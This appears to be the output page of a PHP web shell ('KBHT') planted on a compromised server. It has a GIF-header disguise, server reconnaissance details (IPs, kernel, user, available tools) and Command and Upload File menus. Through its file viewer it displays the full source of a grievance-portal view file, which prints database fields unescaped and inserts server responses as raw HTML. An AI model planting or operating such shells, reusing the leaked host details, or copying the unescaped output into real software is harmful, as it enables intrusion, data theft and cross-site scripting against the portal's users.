GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 3.141.29.162
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../grievance/application/views/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../grievance/application/views/grievances_listing.php
<!DOCTYPE HTML>
<html>
    <head>
        <!-- Required meta tags -->
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
        <title>Grievance Redressal Portal: <?php echo $title; ?></title>
        <link rel="stylesheet" href="<?php echo base_url("assets/css/style.css"); ?>">
        <link rel="stylesheet" href="<?php echo base_url("assets/css/jquery.dataTables.min.css"); ?>" type='text/css' />
        <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Nunito:300,400,600,700,800,900&amp;display=swap">
        <link rel="image icon" href="<?php echo $this->session->userdata('inst_logo_url'); ?>">
        <script src="<?php echo base_url("assets/js/jquery-1.10.2.min.js"); ?>"></script>
        <script src="<?php echo base_url("assets/js/bootstrap.min.js"); ?>"></script>
        <script src="<?php echo base_url("assets/js/jquery.dataTables.min.js"); ?>"></script>
        <script>
            var csrfHash = '';
        </script>
    </head>
    <body class="cbp-spmenu-push">
        <div class="se-pre-con"></div>
        <section>
            <?php $this->load->view("navAndHeader"); ?>
            <div class="main-content">
                <div class="container-fluid content-top-gap">
                    <nav aria-label="breadcrumb">
                        <ol class="breadcrumb my-breadcrumb">
                            <li class="breadcrumb-item"><a href="<?php echo site_url("Dashboard"); ?>">Home</a></li>
                            <li class="breadcrumb-item">Grievances</li>
                            <li class="breadcrumb-item active" aria-current="page"><?php echo $title; ?></li>
                        </ol>
                    </nav>

                    <section class="data-tables">
                        <div class="card card_border p-4">
                            <h3 class="card__title"> <?php echo $title; ?></h3><br>
                            <div class="table-responsive">
                                <?php if ($this->session->flashdata('successMessage')) { ?>
                                    <div class="alert alert-success"> <strong><?php echo $this->session->flashdata('successMessage'); ?></strong></div>
                                <?php } ?>
                                <?php if ($this->session->flashdata('errorMessage')) { ?>
                                    <div class="alert alert-danger"> <strong><?php echo $this->session->flashdata('errorMessage'); ?></strong> </div>
                                <?php } ?>
                                <?php
                                if ($submitBtn) {
                                    ?>
                                    <button class="btn btn-sm btn-primary" onClick="window.location.href = '<?php echo site_url("Grievance/submitGrievance"); ?>'" tooltip="Submit New Grievance"><i class="fa fa-plus"></i> Submit New Grievance</button><br><br>
                                <?php } ?>
                                <table id="allGrievances" class="bootstrap-datatable table-striped table-hover" style="width:100%">
                                    <thead>
                                        <tr>
                                            <th>Sr. No</th>
                                            <th>Grvnc. Id</th>
                                            <th>Category</th>
                                            <th>Subject</th>
                                            <th>Submitted On</th>
                                            <th>Status</th>
                                            <th>Action</th>
                                        </tr>
                                    </thead>
                                    <tfoot>
                                        <tr>
                                            <th>Sr. No</th>
                                            <th>Grvnc. Id</th>
                                            <th>Category</th>
                                            <th>Subject</th>
                                            <th>Submitted On</th>
                                            <th>Status</th>
                                            <th>Action</th>
                                        </tr>
                                    </tfoot>
                                    <tbody>
                                        <?php
                                        for ($i = 0; $i < sizeof($grievances); $i++) {
                                            $record = $grievances[$i];
                                            ?>
                                            <tr>
                                                <td><?php echo ($i + 1); ?></td>
                                                <td><?php echo $record->gm_disp_id; ?></td>
                                                <td><?php echo $record->gcm_title; ?></td>
                                                <td><?php echo $record->gm_subject; ?></td>
                                                <td><?php echo date("d-m-Y h:i:s A", strtotime($record->gm_submitted_on)); ?></td>
                                                <td>
                                                    <?php
                                                    if ($record->gm_delete_status == "F") {
                                                        if ($record->gm_current_status == "P") {
                                                            echo "Pending";
                                                        } else if ($record->gm_current_status == "A") {
                                                            echo "Acknowledged";
                                                        } else if ($record->gm_current_status == "V") {
                                                            echo "Viewed";
                                                        } else if ($record->gm_current_status == "IP") {
                                                            echo "In-Progress";
                                                        } else if ($record->gm_current_status == "R") {
                                                            echo "Resolved/Closed";
                                                        } else if ($record->gm_current_status == "DL") {
                                                            echo "Refused";
                                                        } else {
                                                            echo "Re-Opened";
                                                        }
                                                    } else {
                                                        echo "<i style='color:#FF0000' class='fa fa-times'></i> Deleted By Initiator.";
                                                    }
                                                    ?>
                                                </td>
                                                <td>
                                                    <?php
                                                    if ($record->gm_delete_status == "F" && $record->gm_current_status == "P" && $submitBtn) {
                                                        ?>
                                                        <i class="fa fa-trash" style="color:#FF0000;cursor: pointer;" title="Delete This Grievance" onClick="deleteGrievance(<?php echo $record->gm_id; ?>);"></i> 
                                                        <?php
                                                    }
                                                    ?>
                                                    <?php
                                                    if (($this->session->userdata("role") == "GCM" || $this->session->userdata("role") == "MGMT") && $this->session->userdata('type') == "NA") {
                                                        if (!($record->gm_current_status == "R" || $record->gm_current_status == "DL")) {
                                                            if ($record->gm_viewed_by == NULL) {
                                                                ?>
                                                                <i class="fa fa-eye-slash" style="color:#002166;cursor: pointer;" title="View Grievance" onClick="getGrievanceInfo(<?php echo $record->gm_id; ?>, 1);"></i> 
                                                            <?php } else {
                                                                ?>
                                                                <i class="fa fa-eye" style="color:#FF0000;cursor: pointer;" title="Already Viewed" onClick="getGrievanceInfo(<?php echo $record->gm_id; ?>, 0);"></i> 
                                                                <?php
                                                            }
                                                            if ($record->gm_locked_by == NULL) {
                                                                ?>
                                                                <i class="fa fa-lock" style="color:#002166;cursor: pointer;" title="Lock This Grievance" onClick="toggleGrievanceLock(<?php echo $record->gm_id; ?>, 1);"></i>     
                                                            <?php } else if ($record->gm_locked_by == $this->session->userdata('id')) {
                                                                ?>
                                                                <i class="fa fa-unlock" style="color:#FF0000;cursor: pointer;" title="Un-Lock This Grievance" onClick="toggleGrievanceLock(<?php echo $record->gm_id; ?>, 0);"></i>
                                                                <?php
                                                                if ($record->gm_acknowledge_by == NULL) {
                                                                    ?>
                                                                    <i class="fa fa-reply" style="color:#002166;cursor: pointer;" title="Acknowledge This Grievance" onClick="acknowledgerievance(<?php echo $record->gm_id; ?>);"></i>
                                                                <?php } ?>
                                                                <i class="fa fa-paper-plane-o" style="color:#002166;cursor: pointer;" title="Reply Grievance" onClick="window.location.href = '<?php echo site_url('Grievance/replyGrievance/' . $record->gm_id) ?>'"></i>
                                                            <?php } else {
                                                                ?>
                                                                <i class="fa fa-lock" style="color:#FF0000;cursor: pointer;" title="Grievance Already Locked" onClick="toggleGrievanceLock(<?php echo $record->gm_id; ?>, 1);"></i>     
                                                                <?php
                                                            }
                                                        } else {
                                                            ?>
                                                            <i class="fa fa-eye" style="color:#FF0000;cursor: pointer;" title="Already Viewed" onClick="getGrievanceInfo(<?php echo $record->gm_id; ?>, 0);"></i>
                                                            <i class="fa fa-history" style="color:#002166;cursor: pointer;" title="Open Grievance History" onClick="window.location.href = '<?php echo site_url('Grievance/grievanceHistory/' . $record->gm_id) ?>'"></i> 
                                                            <?php
                                                        }
                                                    } else {
                                                        ?>
                                                        <i class="fa fa-info-circle" style="color:#002166;cursor: pointer;" title="More Info" onClick="getGrievanceInfo(<?php echo $record->gm_id; ?>, 0);"></i> 
                                                    <?php } ?>
                                                </td>
                                            </tr>
                                            <?php
                                        }
                                        ?>
                                    </tbody>
                                </table>
                            </div>
                        </div>
                    </section>
                </div>
            </div>
        </section>

        <script>
            $(document).ready(function () {
                //*Removing Active Class From Current Page Menu*/
                document.getElementById("dashboard").classList.remove("active");
                document.getElementById("userMgmnt").classList.remove("active");
                document.getElementById("changePassword").classList.remove("active");
                document.getElementById("reports").classList.remove("active");
                document.getElementById("dataMgmnt").classList.remove("active");
                /*Adding Active Class To Current Page Menu*/
                document.getElementById("stuGrievances").classList.add("active");
                $("#allGrievances").DataTable({responsive: true});
            });

            function deleteGrievance(grvnc_id) {
                if (confirm("Are You Sure To Delete This Grievance. Recovery Not Possible Once Deleted?")) {
                    window.location.href = "<?php echo site_url('Grievance/deleteGrievance/'); ?>" + grvnc_id;
                }
            }

            function toggleGrievanceLock(grvnc_id, lockStatus) {
                if (confirm("Do You Really Want To Change The Lock Status Of This Grievance? Click OK To Continue & Cancel Otherwise.")) {
                    window.location.href = "<?php echo site_url('Grievance/lockGrievance/'); ?>" + grvnc_id + "/" + lockStatus;
                }
            }

            function acknowledgerievance(grvnc_id) {
                if (confirm("Grievance Once Acknowledged Can Not Be Reverted. Acknowledgement Will Also Be Reflected Everywhere. Click OK To Continue & Cancel Otherwise.")) {
                    window.location.href = "<?php echo site_url('Grievance/acknowledgeGrievance/'); ?>" + grvnc_id;
                }
            }

            function getGrievanceInfo(gm_id, isViewed) {
                event.preventDefault();
                $(".se-pre-con").fadeIn("slow");
                if (csrfHash === '') {
                    csrfHash = '<?php echo $this->security->get_csrf_hash(); ?>';
                }
                $.ajax({
                    url: '<?php echo site_url('Grievance/getGrievanceFulllInfo/'); ?>',
                    data: {gm_id: gm_id, is_viewed: isViewed, csrf_token: csrfHash},
                    type: 'POST',
                    success: function (result) {
                        console.log(result);
                        $(".se-pre-con").fadeOut("slow");
                        var thisGrievanceInfo = JSON.parse(result);
                        console.log(thisGrievanceInfo);
                        csrfHash = thisGrievanceInfo.csrfHash;
                        $("#grvnc_user_img").prop("src", thisGrievanceInfo.gm_submitter_img);
                        $("#grvnc_user_regEmpAdmsnNo").html(thisGrievanceInfo.gm_reg_emp_no);
                        $("#grnvc_id").html(thisGrievanceInfo.gm_id);
                        $("#grnvc_category").html(thisGrievanceInfo.gm_category);
                        $("#grnvc_subject").html(thisGrievanceInfo.gm_subject);
                        $("#grnvc_desc").html(thisGrievanceInfo.gm_description);
                        $("#grnvc_file_one").html(thisGrievanceInfo.gm_file_one);
                        $("#grnvc_file_two").html(thisGrievanceInfo.gm_file_two);
                        $("#grnvc_submitted_by").html(thisGrievanceInfo.gm_submitted_by);
                        $("#grnvc_submitted_on").html(thisGrievanceInfo.gm_submitted_on);
                        $("#grvnc_user_type").html(thisGrievanceInfo.gm_user_type);
                        $("#grvnc_delete_status").html(thisGrievanceInfo.gm_delete_status);
                        $("#grvnc_user_course").html(thisGrievanceInfo.gm_course);
                        $("#grvnc_user_sem_year").html(thisGrievanceInfo.gm_sem_or_year);
                        $("#grnvc_acknowledged_by").html(thisGrievanceInfo.gm_acknowledge_by);
                        $("#grnvc_acknowledged_on").html(thisGrievanceInfo.gm_acknowledge_on);
                        $("#grnvc_viewed_by").html(thisGrievanceInfo.gm_viewed_by);
                        $("#grnvc_viewed_on").html(thisGrievanceInfo.gm_viewed_on);
                        $("#grnvc_locked_by").html(thisGrievanceInfo.gm_locked_by);
                        $("#grnvc_locked_on").html(thisGrievanceInfo.gm_locked_on);
                        $("#grnvc_resolved_by").html(thisGrievanceInfo.gm_resolved_by);
                        $("#grnvc_resolved_on").html(thisGrievanceInfo.gm_resolved_on);
                        $("#grvncDetailsModal").modal('show');
                    }
                });
            }
        </script>
        <?php $this->load->view("footer"); ?>
        <!-- User Details Modal Starts -->
        <div class="modal fade" id="grvncDetailsModal" role="dialog" data-backdrop="static" data-keyboard="false">
            <div class="modal-dialog modal-lg">
                <div class="modal-content">
                    <div class="modal-header">
                        <h4 class="modal-title">Grievance Info</h4>
                        <button type="button" class="close" data-dismiss="modal">&times;</button>
                    </div>
                    <div class="modal-body" style="max-height: calc(100vh - 160px);overflow-y: auto;">
                        <fieldset>
                            <div class="row">
                                <div class="col-sm-12">
                                    <center>
                                        <img src="" id="grvnc_user_img" width="100px"><br>
                                        <b><span id="grvnc_user_regEmpAdmsnNo"></span></b>
                                    </center>
                                </div>
                            </div>
                            <div class="row">
                                <div class="col-sm-3"><b>Grievance Id</b></div>
                                <div class="col-sm-9"><span id="grnvc_id"></span></div>
                            </div>
                            <div class="row">
                                <div class="col-sm-3"><b>Category</b></div>
                                <div class="col-sm-9"><span id="grnvc_category"></span></div>
                            </div>
                            <div class="row">
                                <div class="col-sm-3"><b>Subject</b></div>
                                <div class="col-sm-9"><span id="grnvc_subject"></span></div>
                            </div>
                            <div class="row">
                                <div class="col-sm-3"><b>Description</b></div>
                                <div class="col-sm-9"><span id="grnvc_desc"></span></div>
                            </div>
                            <div class="row">
                                <div class="col-sm-3"><b>File One</b></div>
                                <div class="col-sm-3"><span id="grnvc_file_one"></span></div>
                                <div class="col-sm-3"><b>File Two</b></div>
                                <div class="col-sm-3"><span id="grnvc_file_two"></span></div>
                            </div>
                            <div class="row">
                                <div class="col-sm-3"><b>Submitted By</b></div>
                                <div class="col-sm-3"><span id="grnvc_submitted_by"></span></div>
                                <div class="col-sm-3"><b>Submitted On</b></div>
                                <div class="col-sm-3"><span id="grnvc_submitted_on"></span></div>
                            </div>
                            <div class="row">
                                <div class="col-sm-3"><b>User Type</b></div>
                                <div class="col-sm-3"><span id="grvnc_user_type"></span></div>
                                <div class="col-sm-3"><b>Delete Status</b></div>
                                <div class="col-sm-3"><span id="grvnc_delete_status"></span></div>
                            </div>
                            <div class="row">
                                <div class="col-sm-3"><b>Course</b></div>
                                <div class="col-sm-3"><span id="grvnc_user_course"></span></div>
                                <div class="col-sm-3"><b>Sem./Year</b></div>
                                <div class="col-sm-3"><span id="grvnc_user_sem_year"></span></div>
                            </div>
                            <div class="row">
                                <div class="col-sm-3"><b>Acknowledged By</b></div>
                                <div class="col-sm-3"><span id="grnvc_acknowledged_by"></span></div>
                                <div class="col-sm-3"><b>Acknowledged On</b></div>
                                <div class="col-sm-3"><span id="grnvc_acknowledged_on"></span></div>
                            </div>
                            <div class="row">
                                <div class="col-sm-3"><b>Viewed By</b></div>
                                <div class="col-sm-3"><span id="grnvc_viewed_by"></span></div>
                                <div class="col-sm-3"><b>Viewed On</b></div>
                                <div class="col-sm-3"><span id="grnvc_viewed_on"></span></div>
                            </div>
                            <div class="row">
                                <div class="col-sm-3"><b>Locked By</b></div>
                                <div class="col-sm-3"><span id="grnvc_locked_by"></span></div>
                                <div class="col-sm-3"><b>Locked On</b></div>
                                <div class="col-sm-3"><span id="grnvc_locked_on"></span></div>
                            </div>
                            <div class="row">
                                <div class="col-sm-3"><b>Resolved By</b></div>
                                <div class="col-sm-3"><span id="grnvc_resolved_by"></span></div>
                                <div class="col-sm-3"><b>Resolved On</b></div>
                                <div class="col-sm-3"><span id="grnvc_resolved_on"></span></div>
                            </div>                            
                        </fieldset>
                    </div>    
                    <div class="modal-footer">
                        <button class="btn btn-danger" data-dismiss="modal">Close</button>
                    </div>
                </div>
            </div>
        </div>
        <!-- User Details Modal Ends -->
    </body>
</html>

KBHT - 2023